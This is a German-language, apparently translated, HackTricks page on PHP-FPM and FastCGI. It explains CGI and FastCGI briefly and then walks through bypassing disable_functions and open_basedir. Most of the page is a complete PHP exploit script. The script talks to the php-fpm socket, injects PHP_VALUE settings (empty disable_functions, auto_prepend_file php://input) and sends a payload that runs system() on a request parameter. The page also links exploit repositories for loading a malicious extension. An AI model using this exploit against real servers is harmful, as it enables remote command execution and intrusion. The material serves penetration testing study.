PHP-FPM wird als überlegene Alternative zum Standard PHP FastCGI präsentiert und bietet Funktionen, die besonders vorteilhaft für Websites mit hohem Traffic sind. Es arbeitet über einen Master-Prozess, der eine Sammlung von Worker-Prozessen überwacht. Für eine PHP-Skriptanfrage ist es der Webserver, der eine FastCGI-Proxy-Verbindung zum PHP-FPM-Dienst initiiert. Dieser Dienst hat die Fähigkeit, Anfragen entweder über Netzwerkports auf dem Server oder Unix-Sockets zu empfangen.
Trotz der Zwischenrolle der Proxy-Verbindung muss PHP-FPM auf derselben Maschine wie der Webserver betrieben werden. Die Verbindung, die es verwendet, unterscheidet sich, obwohl sie proxy-basiert ist, von herkömmlichen Proxy-Verbindungen. Nach dem Empfang einer Anfrage verarbeitet ein verfügbarer Worker von PHP-FPM diese—führt das PHP-Skript aus und leitet die Ergebnisse dann an den Webserver zurück. Nachdem ein Worker die Verarbeitung einer Anfrage abgeschlossen hat, steht er wieder für kommende Anfragen zur Verfügung.
Aber was ist CGI und FastCGI?
CGI
Normalerweise werden Webseiten, Dateien und alle Dokumente, die vom Webserver an den Browser übertragen werden, in einem bestimmten öffentlichen Verzeichnis wie home/user/public_html gespeichert. Wenn der Browser bestimmte Inhalte anfordert, überprüft der Server dieses Verzeichnis und sendet die erforderliche Datei an den Browser.
Wenn CGI auf dem Server installiert ist, wird das spezifische cgi-bin-Verzeichnis ebenfalls hinzugefügt, zum Beispiel home/user/public_html/cgi-bin. CGI-Skripte werden in diesem Verzeichnis gespeichert. Jede Datei im Verzeichnis wird als ausführbares Programm behandelt. Beim Zugriff auf ein Skript aus dem Verzeichnis sendet der Server eine Anfrage an die Anwendung, die für dieses Skript verantwortlich ist, anstatt den Inhalt der Datei an den Browser zu senden. Nachdem die Eingabedatenverarbeitung abgeschlossen ist, sendet die Anwendung die Ausgabedaten an den Webserver, der die Daten an den HTTP-Client weiterleitet.
Wenn beispielsweise das CGI-Skript http://mysitename.com/cgi-bin/file.pl aufgerufen wird, führt der Server die entsprechende Perl-Anwendung über CGI aus. Die Daten, die aus der Skriptausführung generiert werden, werden von der Anwendung an den Webserver gesendet. Der Server hingegen überträgt die Daten an den Browser. Wenn der Server kein CGI hätte, würde der Browser den .pl-Dateicode selbst anzeigen. (Erklärung von hier)
FastCGI
FastCGI ist eine neuere Webtechnologie, eine verbesserte CGI-Version, da die Hauptfunktionalität gleich bleibt.
Die Notwendigkeit, FastCGI zu entwickeln, entstand durch die rasante Entwicklung und Komplexität von Anwendungen sowie um die Skalierbarkeitsmängel der CGI-Technologie zu beheben. Um diesen Anforderungen gerecht zu werden, führte Open MarketFastCGI – eine Hochleistungs-Version der CGI-Technologie mit erweiterten Fähigkeiten ein.
disable_functions bypass
Es ist möglich, PHP-Code zu betreiben, indem man FastCGI ausnutzt und die Einschränkungen von disable_functions umgeht.
Via Gopherus
Ich bin mir nicht sicher, ob das in modernen Versionen funktioniert, da ich es einmal versucht habe und es nichts ausgeführt hat. Bitte, wenn Sie mehr Informationen darüber haben, kontaktieren Sie mich über [PEASS & HackTricks Telegram-Gruppe hier](https://t.me/peass), oder Twitter [@carlospolopm](https://twitter.com/hacktricks_live).
Mit Gopherus können Sie eine Payload generieren, die an den FastCGI-Listener gesendet wird, um beliebige Befehle auszuführen:
Das Hochladen und der Zugriff auf dieses Skript werden den Exploit an FastCGI senden (deaktivieren von disable_functions), und die angegebenen Befehle werden ausgeführt.
PHP Exploit
Ich bin mir nicht sicher, ob das in modernen Versionen funktioniert, da ich es einmal versucht habe und nichts ausführen konnte. Tatsächlich konnte ich sehen, dass phpinfo() von der FastCGI-Ausführung anzeigte, dass disable_functions leer war, aber PHP (irgendwie) mich immer noch daran hinderte, eine zuvor deaktivierte Funktion auszuführen. Bitte, wenn Sie mehr Informationen darüber haben, kontaktieren Sie mich über [PEASS & HackTricks Telegram-Gruppe hier](https://t.me/peass), oder Twitter [@carlospolopm](https://twitter.com/hacktricks_live).
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Using the previous function you will see that the function system is immer noch deaktiviert aber phpinfo() zeigt disable_functionsleer:
Also denke ich, dass du disable_functions nur über php .ini Konfigurationsdateien setzen kannst und dass PHP_VALUE diese Einstellung nicht überschreibt.
Dies ist ein PHP-Skript, um das FastCGI-Protokoll auszunutzen, um open_basedir und disable_functions zu umgehen.
Es wird dir helfen, strenge disable_functions zu RCE zu umgehen, indem die bösartige Erweiterung geladen wird.
Du kannst es hier finden: https://github.com/w181496/FuckFastcgi oder eine leicht modifizierte und verbesserte Version hier: https://github.com/BorelEnzo/FuckFastcgi
Du wirst feststellen, dass der Exploit sehr ähnlich zum vorherigen Code ist, aber anstatt zu versuchen, disable_functions mit PHP_VALUE zu umgehen, versucht er, ein externes PHP-Modul zu laden, um Code mit den Parametern extension_dir und extension innerhalb der Variablen PHP_ADMIN_VALUE auszuführen.
HINWEIS1: Du musst wahrscheinlich die Erweiterung neu kompilieren mit der gleichen PHP-Version, die der Server verwendet (du kannst es im Output von phpinfo überprüfen):
HINWEIS2: Ich habe es geschafft, dies zum Laufen zu bringen, indem ich die Werte extension_dir und extension in eine PHP .ini Konfigurationsdatei eingefügt habe (etwas, das du nicht tun kannst, wenn du einen Server angreifst). Aber aus irgendeinem Grund, als ich diesen Exploit verwendet habe und die Erweiterung aus der PHP_ADMIN_VALUE-Variablen geladen habe, ist der Prozess einfach abgestürzt, also weiß ich nicht, ob diese Technik noch gültig ist.